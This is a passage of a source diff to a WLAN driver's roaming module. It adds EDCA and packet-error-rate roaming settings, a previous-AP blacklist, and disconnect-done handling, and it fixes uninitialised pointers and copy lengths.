pMac->roam.configParam.enableFatalEvent = + pParam->enableFatalEvent; pMac->roam.configParam.isCoalesingInIBSSAllowed = pParam->isCoalesingInIBSSAllowed; pMac->roam.configParam.allowDFSChannelRoam = pParam->allowDFSChannelRoam; @@ -1963,6 +2042,24 @@ eHalStatus csrChangeDefaultConfigParam(tpAniSirGlobal pMac, tCsrConfigParam *pPa pMac->roam.configParam.apHT40_24GEnabled = pParam->apHT40_24GEnabled; #endif pMac->roam.configParam.roamDelayStatsEnabled = pParam->roamDelayStatsEnabled; + pMac->roam.configParam.max_chan_for_dwell_time_cfg = + pParam->max_chan_for_dwell_time_cfg; + + pMac->roam.configParam.enable_edca_params = pParam->enable_edca_params; + pMac->roam.configParam.edca_vo_cwmin = pParam->edca_vo_cwmin; + pMac->roam.configParam.edca_vi_cwmin = pParam->edca_vi_cwmin; + pMac->roam.configParam.edca_bk_cwmin = pParam->edca_bk_cwmin; + pMac->roam.configParam.edca_be_cwmin = pParam->edca_be_cwmin; + + pMac->roam.configParam.edca_vo_cwmax = pParam->edca_vo_cwmax; + pMac->roam.configParam.edca_vi_cwmax = pParam->edca_vi_cwmax; + pMac->roam.configParam.edca_bk_cwmax = pParam->edca_bk_cwmax; + pMac->roam.configParam.edca_be_cwmax = pParam->edca_be_cwmax; + + pMac->roam.configParam.edca_vo_aifs = pParam->edca_vo_aifs; + pMac->roam.configParam.edca_vi_aifs = pParam->edca_vi_aifs; + pMac->roam.configParam.edca_bk_aifs = pParam->edca_bk_aifs; + pMac->roam.configParam.edca_be_aifs = pParam->edca_be_aifs; } return status; @@ -2000,8 +2097,14 @@ eHalStatus csrGetConfigParam(tpAniSirGlobal pMac, tCsrConfigParam *pParam) pParam->nActiveMinChnTime = pMac->roam.configParam.nActiveMinChnTime; pParam->nPassiveMaxChnTime = pMac->roam.configParam.nPassiveMaxChnTime; pParam->nPassiveMinChnTime = pMac->roam.configParam.nPassiveMinChnTime; - pParam->nActiveMaxChnTimeBtc = pMac->roam.configParam.nActiveMaxChnTimeBtc; - pParam->nActiveMinChnTimeBtc = pMac->roam.configParam.nActiveMinChnTimeBtc; + pParam->max_chntime_btc_esco = + pMac->roam.configParam.max_chntime_btc_esco; + pParam->min_chntime_btc_esco = + pMac->roam.configParam.min_chntime_btc_esco; + pParam->min_chntime_btc_sco = + pMac->roam.configParam.min_chntime_btc_sco; + pParam->max_chntime_btc_sco = + pMac->roam.configParam.max_chntime_btc_sco; pParam->disableAggWithBtc = pMac->roam.configParam.disableAggWithBtc; #ifdef WLAN_AP_STA_CONCURRENCY pParam->nActiveMaxChnTimeConc = pMac->roam.configParam.nActiveMaxChnTimeConc; @@ -2075,6 +2178,19 @@ eHalStatus csrGetConfigParam(tpAniSirGlobal pMac, tCsrConfigParam *pParam) #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD pParam->isRoamOffloadScanEnabled = pMac->roam.configParam.isRoamOffloadScanEnabled; pParam->bFastRoamInConIniFeatureEnabled = pMac->roam.configParam.bFastRoamInConIniFeatureEnabled; + pParam->isPERRoamEnabled = + pMac->roam.configParam.isPERRoamEnabled; + pParam->rateUpThreshold = pMac->roam.configParam.rateUpThreshold; + pParam->rateDownThreshold = pMac->roam.configParam.rateDownThreshold; + pParam->waitPeriodForNextPERScan = + pMac->roam.configParam.waitPeriodForNextPERScan; + pParam->PERtimerThreshold = pMac->roam.configParam.PERtimerThreshold; + pParam->isPERRoamCCAEnabled = + pMac->roam.configParam.isPERRoamCCAEnabled; + pParam->PERRoamFullScanThreshold = + pMac->roam.configParam.PERRoamFullScanThreshold; + pParam->PERroamTriggerPercent = + pMac->roam.configParam.PERroamTriggerPercent; #endif #ifdef FEATURE_WLAN_LFR pParam->isFastRoamIniFeatureEnabled = pMac->roam.configParam.isFastRoamIniFeatureEnabled; @@ -2105,6 +2221,7 @@ eHalStatus csrGetConfigParam(tpAniSirGlobal pMac, tCsrConfigParam *pParam) pParam->ignorePeerHTopMode = pMac->roam.configParam.ignorePeerHTopMode; pParam->disableP2PMacSpoofing = pMac->roam.configParam.disableP2PMacSpoofing; + pParam->enableFatalEvent = pMac->roam.configParam.enableFatalEvent; pParam->isCoalesingInIBSSAllowed = pMac->roam.configParam.isCoalesingInIBSSAllowed; @@ -2115,6 +2232,24 @@ eHalStatus csrGetConfigParam(tpAniSirGlobal pMac, tCsrConfigParam *pParam) #ifdef WLAN_FEATURE_AP_HT40_24G pParam->apHT40_24GEnabled = pMac->roam.configParam.apHT40_24GEnabled; #endif + pParam->max_chan_for_dwell_time_cfg = + pMac->roam.configParam.max_chan_for_dwell_time_cfg; + + pParam->enable_edca_params = pMac->roam.configParam.enable_edca_params; + pParam->edca_vo_cwmin = pMac->roam.configParam.edca_vo_cwmin; + pParam->edca_vi_cwmin = pMac->roam.configParam.edca_vi_cwmin; + pParam->edca_bk_cwmin = pMac->roam.configParam.edca_bk_cwmin; + pParam->edca_be_cwmin = pMac->roam.configParam.edca_be_cwmin; + + pParam->edca_vo_cwmax = pMac->roam.configParam.edca_vo_cwmax; + pParam->edca_vi_cwmax = pMac->roam.configParam.edca_vi_cwmax; + pParam->edca_bk_cwmax = pMac->roam.configParam.edca_bk_cwmax; + pParam->edca_be_cwmax = pMac->roam.configParam.edca_be_cwmax; + + pParam->edca_vo_aifs = pMac->roam.configParam.edca_vo_aifs; + pParam->edca_vi_aifs = pMac->roam.configParam.edca_vi_aifs; + pParam->edca_bk_aifs = pMac->roam.configParam.edca_bk_aifs; + pParam->edca_be_aifs = pMac->roam.configParam.edca_be_aifs; status = eHAL_STATUS_SUCCESS; } @@ -2641,7 +2776,7 @@ eHalStatus csrRoamCallCallback(tpAniSirGlobal pMac, tANI_U32 sessionId, tCsrRoam #ifdef FEATURE_WLAN_DIAG_SUPPORT_CSR WLAN_VOS_DIAG_EVENT_DEF(connectionStatus, vos_event_wlan_status_payload_type); #endif - tCsrRoamSession *pSession; + tCsrRoamSession *pSession = NULL; if( CSR_IS_SESSION_VALID( pMac, sessionId) ) { pSession = CSR_GET_SESSION( pMac, sessionId ); @@ -2696,8 +2831,8 @@ eHalStatus csrRoamCallCallback(tpAniSirGlobal pMac, tANI_U32 sessionId, tCsrRoam status = pSession->callback(pSession->pContext, pRoamInfo, roamId, u1, u2); // TODO: revisit: sme_AcquireGlobalLock( &pMac->sme ); } - //EVENT_WLAN_STATUS: eCSR_ROAM_ASSOCIATION_COMPLETION, - // eCSR_ROAM_LOSTLINK, eCSR_ROAM_DISASSOCIATED, + //EVENT_WLAN_STATUS_V2: eCSR_ROAM_ASSOCIATION_COMPLETION, + // eCSR_ROAM_LOSTLINK, eCSR_ROAM_DISASSOCIATED, #ifdef FEATURE_WLAN_DIAG_SUPPORT_CSR vos_mem_set(&connectionStatus, sizeof(vos_event_wlan_status_payload_type), 0); @@ -2715,34 +2850,35 @@ eHalStatus csrRoamCallCallback(tpAniSirGlobal pMac, tANI_U32 sessionId, tCsrRoam connectionStatus.authType = (v_U8_t)diagAuthTypeFromCSRType(pRoamInfo->u.pConnectedProfile->AuthType); connectionStatus.encryptionType = (v_U8_t)diagEncTypeFromCSRType(pRoamInfo->u.pConnectedProfile->EncryptionType); vos_mem_copy(connectionStatus.ssid, - pRoamInfo->u.pConnectedProfile->SSID.ssId, 6); + pRoamInfo->u.pConnectedProfile->SSID.ssId, + pRoamInfo->u.pConnectedProfile->SSID.length); connectionStatus.reason = eCSR_REASON_UNSPECIFIED; - WLAN_VOS_DIAG_EVENT_REPORT(&connectionStatus, EVENT_WLAN_STATUS); + WLAN_VOS_DIAG_EVENT_REPORT(&connectionStatus, EVENT_WLAN_STATUS_V2); } if((eCSR_ROAM_MIC_ERROR_IND == u1) || (eCSR_ROAM_RESULT_MIC_FAILURE == u2)) { connectionStatus.eventId = eCSR_WLAN_STATUS_DISCONNECT; connectionStatus.reason = eCSR_REASON_MIC_ERROR; - WLAN_VOS_DIAG_EVENT_REPORT(&connectionStatus, EVENT_WLAN_STATUS); + WLAN_VOS_DIAG_EVENT_REPORT(&connectionStatus, EVENT_WLAN_STATUS_V2); } if(eCSR_ROAM_RESULT_FORCED == u2) { connectionStatus.eventId = eCSR_WLAN_STATUS_DISCONNECT; connectionStatus.reason = eCSR_REASON_USER_REQUESTED; - WLAN_VOS_DIAG_EVENT_REPORT(&connectionStatus, EVENT_WLAN_STATUS); + WLAN_VOS_DIAG_EVENT_REPORT(&connectionStatus, EVENT_WLAN_STATUS_V2); } if(eCSR_ROAM_RESULT_DISASSOC_IND == u2) { connectionStatus.eventId = eCSR_WLAN_STATUS_DISCONNECT; connectionStatus.reason = eCSR_REASON_DISASSOC; - WLAN_VOS_DIAG_EVENT_REPORT(&connectionStatus, EVENT_WLAN_STATUS); + WLAN_VOS_DIAG_EVENT_REPORT(&connectionStatus, EVENT_WLAN_STATUS_V2); } if(eCSR_ROAM_RESULT_DEAUTH_IND == u2) { connectionStatus.eventId = eCSR_WLAN_STATUS_DISCONNECT; connectionStatus.reason = eCSR_REASON_DEAUTH; - WLAN_VOS_DIAG_EVENT_REPORT(&connectionStatus, EVENT_WLAN_STATUS); + WLAN_VOS_DIAG_EVENT_REPORT(&connectionStatus, EVENT_WLAN_STATUS_V2); } #endif //FEATURE_WLAN_DIAG_SUPPORT_CSR @@ -4765,7 +4901,7 @@ static eHalStatus csrRoam( tpAniSirGlobal pMac, tSmeCmd *pCommand ) eHalStatus csrProcessFTReassocRoamCommand ( tpAniSirGlobal pMac, tSmeCmd *pCommand ) { tANI_U32 sessionId; - tCsrRoamSession *pSession; + tCsrRoamSession *pSession = NULL; tCsrScanResult *pScanResult = NULL; tSirBssDescription *pBssDesc = NULL; eHalStatus status = eHAL_STATUS_SUCCESS; @@ -5502,11 +5638,11 @@ static tANI_BOOLEAN csrRoamProcessResults( tpAniSirGlobal pMac, tSmeCmd *pComman */ //csrRoamStateChange( pMac, eCSR_ROAMING_STATE_JOINED ); - /* Reset remainInPowerActiveTillDHCP as it might have been set + /* Reset full_power_till_set_key as it might have been set * by last failed secured connection. * It should be set only for secured connection. */ - pMac->pmc.remainInPowerActiveTillDHCP = FALSE; + pMac->pmc.full_power_till_set_key = false; if( CSR_IS_INFRASTRUCTURE( pProfile ) ) { pSession->connectState = eCSR_ASSOC_STATE_TYPE_INFRA_ASSOCIATED; @@ -5604,7 +5740,7 @@ static tANI_BOOLEAN csrRoamProcessResults( tpAniSirGlobal pMac, tSmeCmd *pComman pSirBssDesc, &BroadcastMac, FALSE, FALSE, eSIR_TX_RX, 0, 0, NULL, 0 ); // NO keys... these key parameters don't matter. } - else + else if (!pSession->abortConnection) { //Need to wait for supplicant authtication roamInfo.fAuthRequired = eANI_BOOLEAN_TRUE; @@ -5761,15 +5897,14 @@ static tANI_BOOLEAN csrRoamProcessResults( tpAniSirGlobal pMac, tSmeCmd *pComman //enough to let security and DHCP handshake succeed before entry into BMPS if (pmcShouldBmpsTimerRun(pMac)) { - /* Set remainInPowerActiveTillDHCP to make sure we wait for + /* Set full_power_till_set_key to make sure we wait for * until keys are set before going into BMPS. */ if(eANI_BOOLEAN_TRUE == roamInfo.fAuthRequired) { - pMac->pmc.remainInPowerActiveTillDHCP = TRUE; - smsLog(pMac, LOG1, FL("Set remainInPowerActiveTillDHCP " - "to make sure we wait until keys are set before" - " going to BMPS")); + pMac->pmc.full_power_till_set_key = true; + smsLog(pMac, LOG1, + FL("Set full_power_till_set_key to make sure we wait until keys are set before going to BMPS")); } if (pmcStartTrafficTimer(pMac, BMPS_TRAFFIC_TIMER_ALLOW_SECURITY_DHCP) @@ -6809,6 +6944,7 @@ eHalStatus csrRoamConnect(tpAniSirGlobal pMac, tANI_U32 sessionId, tCsrRoamProfi } /* Reset abortConnection for the fresh connection */ pSession->abortConnection = FALSE; + pSession->dhcp_done = false; csrRoamCancelRoaming(pMac, sessionId); csrScanRemoveFreshScanCommand(pMac, sessionId); csrScanCancelIdleScan(pMac); @@ -6834,6 +6970,19 @@ eHalStatus csrRoamConnect(tpAniSirGlobal pMac, tANI_U32 sessionId, tCsrRoamProfi #ifdef FEATURE_WLAN_BTAMP_UT_RF pSession->maxRetryCount = CSR_JOIN_MAX_RETRY_COUNT; #endif + /* + * If roamSession.connectState is disconnecting that mean + * disconnect/stop adapter was received with scan for ssid + * in progress and dropped. This state will ensure that + * connect will not be issued from scan for ssid completion. + * Thus if this fresh connect also issue scan for ssid the connect + * command will be dropped assuming disconnect is in progress. + * Thus reset connectState here + */ + if (eCSR_ASSOC_STATE_TYPE_INFRA_DISCONNECTING == + pMac->roam.roamSession[sessionId].connectState) + pMac->roam.roamSession[sessionId].connectState = + eCSR_ASSOC_STATE_TYPE_NOT_CONNECTED; if(CSR_INVALID_SCANRESULT_HANDLE != hBssListIn) { smsLog(pMac, LOG1, FL("is called with BSSList")); @@ -7425,10 +7574,12 @@ eHalStatus csrRoamDisconnectInternal(tpAniSirGlobal pMac, tANI_U32 sessionId, eC } else { + pMac->roam.roamSession[sessionId].connectState = + eCSR_ASSOC_STATE_TYPE_INFRA_DISCONNECTING; csrScanAbortScanForSSID(pMac, sessionId); status = eHAL_STATUS_CMD_NOT_QUEUED; - smsLog( pMac, LOG1, FL(" Disconnect cmd not queued, Roam command is not present" - " return with status %d"), status); + smsLog(pMac, LOGE, + FL("Disconnect not queued, Abort Scan for SSID")); } return (status); } @@ -7730,7 +7881,7 @@ void csrRoamReissueRoamCommand(tpAniSirGlobal pMac) tSmeCmd *pCommand; tCsrRoamInfo roamInfo; tANI_U32 sessionId; - tCsrRoamSession *pSession; + tCsrRoamSession *pSession = NULL; pEntry = csrLLPeekHead(&pMac->sme.smeCmdActiveList, LL_ACCESS_LOCK); if(pEntry) @@ -7967,7 +8118,7 @@ static void csrRoamingStateConfigCnfProcessor( tpAniSirGlobal pMac, tANI_U32 res tSirBssDescription *pBssDesc = NULL; tSmeCmd *pCommand = NULL; tANI_U32 sessionId; - tCsrRoamSession *pSession; + tCsrRoamSession *pSession = NULL; if(NULL == pEntry) { smsLog(pMac, LOGE, " CFG_CNF with active list empty"); @@ -8185,8 +8336,11 @@ static void csrRoamRoamingStateReassocRspProcessor( tpAniSirGlobal pMac, tpSirSm tpCsrNeighborRoamControlInfo pNeighborRoamInfo = &pMac->roam.neighborRoamInfo; tCsrRoamInfo roamInfo; tANI_U32 roamId = 0; - - if ( eSIR_SME_SUCCESS == pSmeJoinRsp->statusCode ) + tANI_U32 current_timestamp, max_time = -1; + tANI_U32 candidateApCnt, oldestIndex = 0; + tANI_U8 nilMac[6] = {0}; + + if (eSIR_SME_SUCCESS == pSmeJoinRsp->statusCode) { smsLog( pMac, LOGW, "CSR SmeReassocReq Successful" ); result = eCsrReassocSuccess; @@ -8199,6 +8353,73 @@ static void csrRoamRoamingStateReassocRspProcessor( tpAniSirGlobal pMac, tpSirSm /* Need to dig more on indicating events to SME QoS module */ sme_QosCsrEventInd(pMac, pSmeJoinRsp->sessionId, SME_QOS_CSR_HANDOFF_COMPLETE, NULL); csrRoamComplete( pMac, result, pSmeJoinRsp); +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + /* Add previous BSSID to blacklist ; this will be in blacklised for + * some period and score of this AP will be reduced if black listed + * to avoid ping pong */ + if (pMac->PERroamCandidatesCnt) + { + current_timestamp = jiffies_to_msecs(jiffies); + for (candidateApCnt = 0; candidateApCnt < + SIR_PER_ROAM_MAX_CANDIDATE_CNT; candidateApCnt++) + { + /* Find one blank entry */ + if (sirCompareMacAddr(nilMac, + pMac->previousRoamApInfo[candidateApCnt].bssAddr)) + { + vos_mem_copy(pMac->previousRoamApInfo[candidateApCnt]. + bssAddr, + pNeighborRoamInfo->prevConnProfile.bssid, + sizeof(tSirMacAddr)); + pMac->previousRoamApInfo[candidateApCnt].timeStamp = + current_timestamp; + smsLog(pMac, LOG1, FL("added bssid=" MAC_ADDRESS_STR " at index %d"), + MAC_ADDR_ARRAY( + pNeighborRoamInfo->prevConnProfile.bssid), + candidateApCnt); + break; + } + /* if already in the list */ + if (sirCompareMacAddr(pMac->previousRoamApInfo + [candidateApCnt].bssAddr, + pNeighborRoamInfo->prevConnProfile.bssid) && + ((current_timestamp - + pMac->previousRoamApInfo[candidateApCnt].timeStamp) > + pMac->PERroamTimeout)) + { + vos_mem_copy(pMac->previousRoamApInfo[candidateApCnt]. + bssAddr, + pNeighborRoamInfo->prevConnProfile.bssid, + sizeof(tSirMacAddr)); + pMac->previousRoamApInfo[candidateApCnt].timeStamp = + current_timestamp; + break; + } else + { + /* find oldest BSSID entry in the blacklist */ + if (max_time < + pMac->previousRoamApInfo[candidateApCnt].timeStamp) + { + max_time = + pMac->previousRoamApInfo[candidateApCnt].timeStamp; + oldestIndex = candidateApCnt; + } + } + } + if (candidateApCnt == SIR_PER_ROAM_MAX_CANDIDATE_CNT) + { + smsLog(pMac, LOGW, + "%s: Clearing out oldest roam results bssid=" + MAC_ADDRESS_STR, + __func__, + MAC_ADDR_ARRAY(pMac->previousRoamApInfo[oldestIndex].bssAddr)); + pMac->previousRoamApInfo[oldestIndex].timeStamp = current_timestamp; + vos_mem_copy(pMac->previousRoamApInfo[oldestIndex].bssAddr, + pNeighborRoamInfo->prevConnProfile.bssid, + sizeof(tSirMacAddr)); + } + } +#endif } else #endif @@ -8212,6 +8433,10 @@ static void csrRoamRoamingStateReassocRspProcessor( tpAniSirGlobal pMac, tpSirSm { smsLog( pMac, LOGW, "CSR SmeReassocReq failed with statusCode= 0x%08X [%d]", pSmeJoinRsp->statusCode, pSmeJoinRsp->statusCode ); result = eCsrReassocFailure; + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_ROAM_FAIL, + FALSE, TRUE); #ifdef WLAN_FEATURE_VOWIFI_11R if ((eSIR_SME_FT_REASSOC_TIMEOUT_FAILURE == pSmeJoinRsp->statusCode) || (eSIR_SME_FT_REASSOC_FAILURE == pSmeJoinRsp->statusCode) || @@ -8293,7 +8518,7 @@ void csrRoamRoamingStateDisassocRspProcessor( tpAniSirGlobal pMac, tSirSmeDisass tSmeCmd *pCommand = NULL; #endif tANI_U32 sessionId; - tCsrRoamSession *pSession; + tCsrRoamSession *pSession = NULL; tSirSmeDisassocRsp SmeDisassocRsp; @@ -8705,7 +8930,7 @@ void csrRoamJoinedStateMsgProcessor( tpAniSirGlobal pMac, void *pMsgBuf ) break; case eWNI_SME_UPPER_LAYER_ASSOC_CNF: { - tCsrRoamSession *pSession; + tCsrRoamSession *pSession = NULL; tSirSmeAssocIndToUpperLayerCnf *pUpperLayerAssocCnf; tCsrRoamInfo roamInfo; tCsrRoamInfo *pRoamInfo = NULL; @@ -8742,6 +8967,7 @@ void csrRoamJoinedStateMsgProcessor( tpAniSirGlobal pMac, void *pMsgBuf ) smsLog( pMac, LOGW, FL("HT40MHzIntoEnabledSta: %d \n"), pRoamInfo->HT40MHzIntoEnabledSta); #endif + pRoamInfo->maxRateFlags = pUpperLayerAssocCnf->rate_flags; if(CSR_IS_INFRA_AP(pRoamInfo->u.pConnectedProfile) ) { pMac->roam.roamSession[sessionId].connectState = eCSR_ASSOC_STATE_TYPE_INFRA_CONNECTED; @@ -9025,13 +9251,13 @@ eHalStatus csrRoamProcessSetKeyCommand( tpAniSirGlobal pMac, tSmeCmd *pCommand ) sizeof(vos_event_wlan_security_payload_type), 0); if( *(( tANI_U8 *)&pCommand->u.setKeyCmd.peerMac) & 0x01 ) { - setKeyEvent.eventId = WLAN_SECURITY_EVENT_SET_GTK_REQ; + setKeyEvent.eventId = WLAN_SECURITY_EVENT_SET_BCAST_REQ; setKeyEvent.encryptionModeMulticast = (v_U8_t)diagEncTypeFromCSRType(pCommand->u.setKeyCmd.encType); setKeyEvent.encryptionModeUnicast = (v_U8_t)diagEncTypeFromCSRType(pSession->connectedProfile.EncryptionType); } else { - setKeyEvent.eventId = WLAN_SECURITY_EVENT_SET_PTK_REQ; + setKeyEvent.eventId = WLAN_SECURITY_EVENT_SET_UNICAST_REQ; setKeyEvent.encryptionModeUnicast = (v_U8_t)diagEncTypeFromCSRType(pCommand->u.setKeyCmd.encType); setKeyEvent.encryptionModeMulticast = (v_U8_t)diagEncTypeFromCSRType(pSession->connectedProfile.mcEncryptionType); } @@ -9077,11 +9303,11 @@ eHalStatus csrRoamProcessSetKeyCommand( tpAniSirGlobal pMac, tSmeCmd *pCommand ) { if( *(( tANI_U8 *)&pCommand->u.setKeyCmd.peerMac) & 0x01 ) { - setKeyEvent.eventId = WLAN_SECURITY_EVENT_SET_GTK_RSP; + setKeyEvent.eventId = WLAN_SECURITY_EVENT_SET_BCAST_RSP; } else { - setKeyEvent.eventId = WLAN_SECURITY_EVENT_SET_PTK_RSP; + setKeyEvent.eventId = WLAN_SECURITY_EVENT_SET_UNICAST_RSP; } setKeyEvent.status = WLAN_SECURITY_STATUS_FAILURE; WLAN_VOS_DIAG_EVENT_REPORT(&setKeyEvent, EVENT_WLAN_SECURITY); @@ -9632,6 +9858,7 @@ void csrRoamCheckForLinkStatusChange( tpAniSirGlobal pMac, tSirSmeRsp *pSirMsg ) tSirSmeAssocInd *pAssocInd; tSirSmeDisassocInd *pDisassocInd; tSirSmeDeauthInd *pDeauthInd; + tSirSmeDisConDoneInd *pDisConDoneInd; tSirSmeWmStatusChangeNtf *pStatusChangeMsg; tSirSmeNewBssInfo *pNewBss; tSmeIbssPeerInd *pIbssPeerInd; @@ -9657,7 +9884,7 @@ void csrRoamCheckForLinkStatusChange( tpAniSirGlobal pMac, tSirSmeRsp *pSirMsg ) { case eWNI_SME_ASSOC_IND: { - tCsrRoamSession *pSession; + tCsrRoamSession *pSession = NULL; smsLog( pMac, LOG1, FL("Receive WNI_SME_ASSOC_IND from SME")); pAssocInd = (tSirSmeAssocInd *)pSirMsg; status = csrRoamGetSessionIdFromBSSID( pMac, (tCsrBssid *)pAssocInd->bssId, &sessionId ); @@ -9693,6 +9920,7 @@ void csrRoamCheckForLinkStatusChange( tpAniSirGlobal pMac, tSirSmeRsp *pSirMsg ) vos_mem_copy(&pRoamInfo->bssid, pAssocInd->bssId, sizeof(tCsrBssid)); pRoamInfo->wmmEnabledSta = pAssocInd->wmmEnabledSta; + pRoamInfo->maxRateFlags = pAssocInd->rate_flags; #ifdef WLAN_FEATURE_AP_HT40_24G pRoamInfo->HT40MHzIntoEnabledSta = pAssocInd->HT40MHzIntoEnabledSta; @@ -9798,19 +10026,6 @@ void csrRoamCheckForLinkStatusChange( tpAniSirGlobal pMac, tSirSmeRsp *pSirMsg ) csrRoamIssueWmStatusChange( pMac, sessionId, eCsrDisassociated, pSirMsg ); if (CSR_IS_INFRA_AP(&pSession->connectedProfile)) { - pRoamInfo = &roamInfo; - pRoamInfo->statusCode = pDisassocInd->statusCode; - pRoamInfo->u.pConnectedProfile = &pSession->connectedProfile; - pRoamInfo->staId = (tANI_U8)pDisassocInd->staId; - - vos_mem_copy(pRoamInfo->peerMac, pDisassocInd->peerMacAddr, - sizeof(tSirMacAddr)); - vos_mem_copy(&pRoamInfo->bssid, pDisassocInd->bssId, - sizeof(tCsrBssid)); - - status = csrRoamCallCallback(pMac, sessionId, pRoamInfo, 0, - eCSR_ROAM_INFRA_IND, eCSR_ROAM_RESULT_DISASSOC_IND); - /* * STA/P2P client got disassociated so remove any pending deauth * commands in sme pending list @@ -9885,26 +10100,40 @@ void csrRoamCheckForLinkStatusChange( tpAniSirGlobal pMac, tSirSmeRsp *pSirMsg ) #endif csrRoamLinkDown(pMac, sessionId); csrRoamIssueWmStatusChange( pMac, sessionId, eCsrDeauthenticated, pSirMsg ); - if(CSR_IS_INFRA_AP(&pSession->connectedProfile)) - { - - pRoamInfo = &roamInfo; - - pRoamInfo->statusCode = pDeauthInd->statusCode; - pRoamInfo->u.pConnectedProfile = &pSession->connectedProfile; - - pRoamInfo->staId = (tANI_U8)pDeauthInd->staId; - - vos_mem_copy(pRoamInfo->peerMac, pDeauthInd->peerMacAddr, - sizeof(tSirMacAddr)); - vos_mem_copy(&pRoamInfo->bssid, pDeauthInd->bssId, - sizeof(tCsrBssid)); + } + break; - status = csrRoamCallCallback(pMac, sessionId, pRoamInfo, 0, eCSR_ROAM_INFRA_IND, eCSR_ROAM_RESULT_DEAUTH_IND); - } + case eWNI_SME_DISCONNECT_DONE_IND: + pDisConDoneInd = (tSirSmeDisConDoneInd *)(pSirMsg); + smsLog( pMac, LOG1, + FL("eWNI_SME_DISCONNECT_DONE_IND RC:%d"), + pDisConDoneInd->reasonCode); + if( CSR_IS_SESSION_VALID(pMac, pDisConDoneInd->sessionId)) + { + roamInfo.reasonCode = pDisConDoneInd->reasonCode; + roamInfo.statusCode = eSIR_SME_STA_DISASSOCIATED; + vos_mem_copy(roamInfo.peerMac, pDisConDoneInd->peerMacAddr, + sizeof(tSirMacAddr)); + status = csrRoamCallCallback(pMac, + pDisConDoneInd->sessionId, + &roamInfo, 0, + eCSR_ROAM_LOSTLINK, + eCSR_ROAM_RESULT_DISASSOC_IND); + pSession = CSR_GET_SESSION(pMac, + pDisConDoneInd->sessionId); + if (pSession && + !CSR_IS_INFRA_AP(&pSession->connectedProfile)) + csrRoamStateChange(pMac, + eCSR_ROAMING_STATE_IDLE, + pDisConDoneInd->sessionId); + } + else + { + smsLog(pMac, LOGE, FL("Inactive session %d"), + pDisConDoneInd->sessionId); } break; - + case eWNI_SME_SWITCH_CHL_REQ: // in case of STA, the SWITCH_CHANNEL originates from its AP smsLog( pMac, LOGW, FL("eWNI_SME_SWITCH_CHL_REQ from SME")); pSwitchChnInd = (tpSirSmeSwitchChannelInd)pSirMsg; @@ -10378,17 +10607,18 @@ void csrRoamCheckForLinkStatusChange( tpAniSirGlobal pMac, tSirSmeRsp *pSirMsg ) sizeof(vos_event_wlan_security_payload_type), 0); if( pRsp->peerMacAddr[0] & 0x01 ) { - setKeyEvent.eventId = WLAN_SECURITY_EVENT_SET_GTK_RSP; + setKeyEvent.eventId = + WLAN_SECURITY_EVENT_SET_BCAST_RSP; } else { - setKeyEvent.eventId = WLAN_SECURITY_EVENT_SET_PTK_RSP; + setKeyEvent.eventId = + WLAN_SECURITY_EVENT_SET_UNICAST_RSP; } if( pRsp->peerMacAddr[0] & 0x01 ) { - pMac->pmc.remainInPowerActiveTillDHCP = FALSE; - smsLog(pMac, LOG1, FL("Reset" - "remainInPowerActiveTillDHCP to allow BMPS")); + pMac->pmc.full_power_till_set_key = false; + smsLog(pMac, LOG1, FL("Reset full_power_till_set_key to allow BMPS")); } setKeyEvent.encryptionModeMulticast = (v_U8_t)diagEncTypeFromCSRType(pSession->connectedProfile.mcEncryptionType); @@ -10433,8 +10663,12 @@ void csrRoamCheckForLinkStatusChange( tpAniSirGlobal pMac, tSirSmeRsp *pSirMsg ) tpSirSetActiveModeSetBncFilterReq pMsg; pMsg = vos_mem_malloc(sizeof(tSirSetActiveModeSetBncFilterReq)); pMsg->messageType = pal_cpu_to_be16((tANI_U16)eWNI_SME_SET_BCN_FILTER_REQ); - pMsg->length = pal_cpu_to_be16(sizeof( tANI_U8)); + pMsg->length = pal_cpu_to_be16(sizeof( + tSirSetActiveModeSetBncFilterReq)); pMsg->seesionId = sessionId; + vos_mem_copy(pMsg->bssid, + pSession->connectedProfile.bssid, + sizeof(tSirMacAddr)); status = palSendMBMessage(pMac->hHdd, pMsg ); } #endif @@ -10490,6 +10724,7 @@ void csrRoamCheckForLinkStatusChange( tpAniSirGlobal pMac, tSirSmeRsp *pSirMsg ) "command failed(%d) PeerMac "MAC_ADDRESS_STR, pRsp->statusCode, MAC_ADDR_ARRAY(pRsp->peerMacAddr)); } + roamInfo.is11rAssoc = csrRoamIs11rAssoc(pMac); csrRoamCallCallback(pMac, sessionId, &roamInfo, pCommand->u.setKeyCmd.roamId, eCSR_ROAM_SET_KEY_COMPLETE, result); // Indicate SME_QOS that the SET_KEY is completed, so that SME_QOS @@ -10843,7 +11078,7 @@ void csrRoamWaitForKeyTimeOutHandler(void *pv) tCsrRoamSession *pSession = CSR_GET_SESSION( pMac, pInfo->sessionId ); eHalStatus status = eHAL_STATUS_FAILURE; - smsLog(pMac, LOGW, FL("WaitForKey timer expired in state=%s sub-state=%s"), + smsLog(pMac, LOGE, FL("WaitForKey timer expired in state=%s sub-state=%s"), macTraceGetNeighbourRoamState( pMac->roam.neighborRoamInfo.neighborRoamState), macTraceGetcsrRoamSubState( @@ -10866,7 +11101,7 @@ void csrRoamWaitForKeyTimeOutHandler(void *pv) NULL, eANI_BOOLEAN_FALSE); } #endif - smsLog(pMac, LOGW, " SME pre-auth state timeout. "); + smsLog(pMac, LOGE, " SME pre-auth state timeout. "); //Change the substate so command queue is unblocked. if (CSR_ROAM_SESSION_MAX > pInfo->sessionId) @@ -10881,26 +11116,18 @@ void csrRoamWaitForKeyTimeOutHandler(void *pv) { csrRoamLinkUp(pMac, pSession->connectedProfile.bssid); smeProcessPendingQueue(pMac); - if( (pSession->connectedProfile.AuthType == - eCSR_AUTH_TYPE_SHARED_KEY) && - ( (pSession->connectedProfile.EncryptionType == - eCSR_ENCRYPT_TYPE_WEP40) || - (pSession->connectedProfile.EncryptionType == - eCSR_ENCRYPT_TYPE_WEP104) )) + status = sme_AcquireGlobalLock(&pMac->sme); + if (HAL_STATUS_SUCCESS(status)) { - status = sme_AcquireGlobalLock( &pMac->sme ); - if ( HAL_STATUS_SUCCESS( status ) ) - { - csrRoamDisconnect( pMac, pInfo->sessionId, - eCSR_DISCONNECT_REASON_UNSPECIFIED ); - sme_ReleaseGlobalLock( &pMac->sme ); - } + csrRoamDisconnect(pMac, pInfo->sessionId, + eCSR_DISCONNECT_REASON_UNSPECIFIED); + 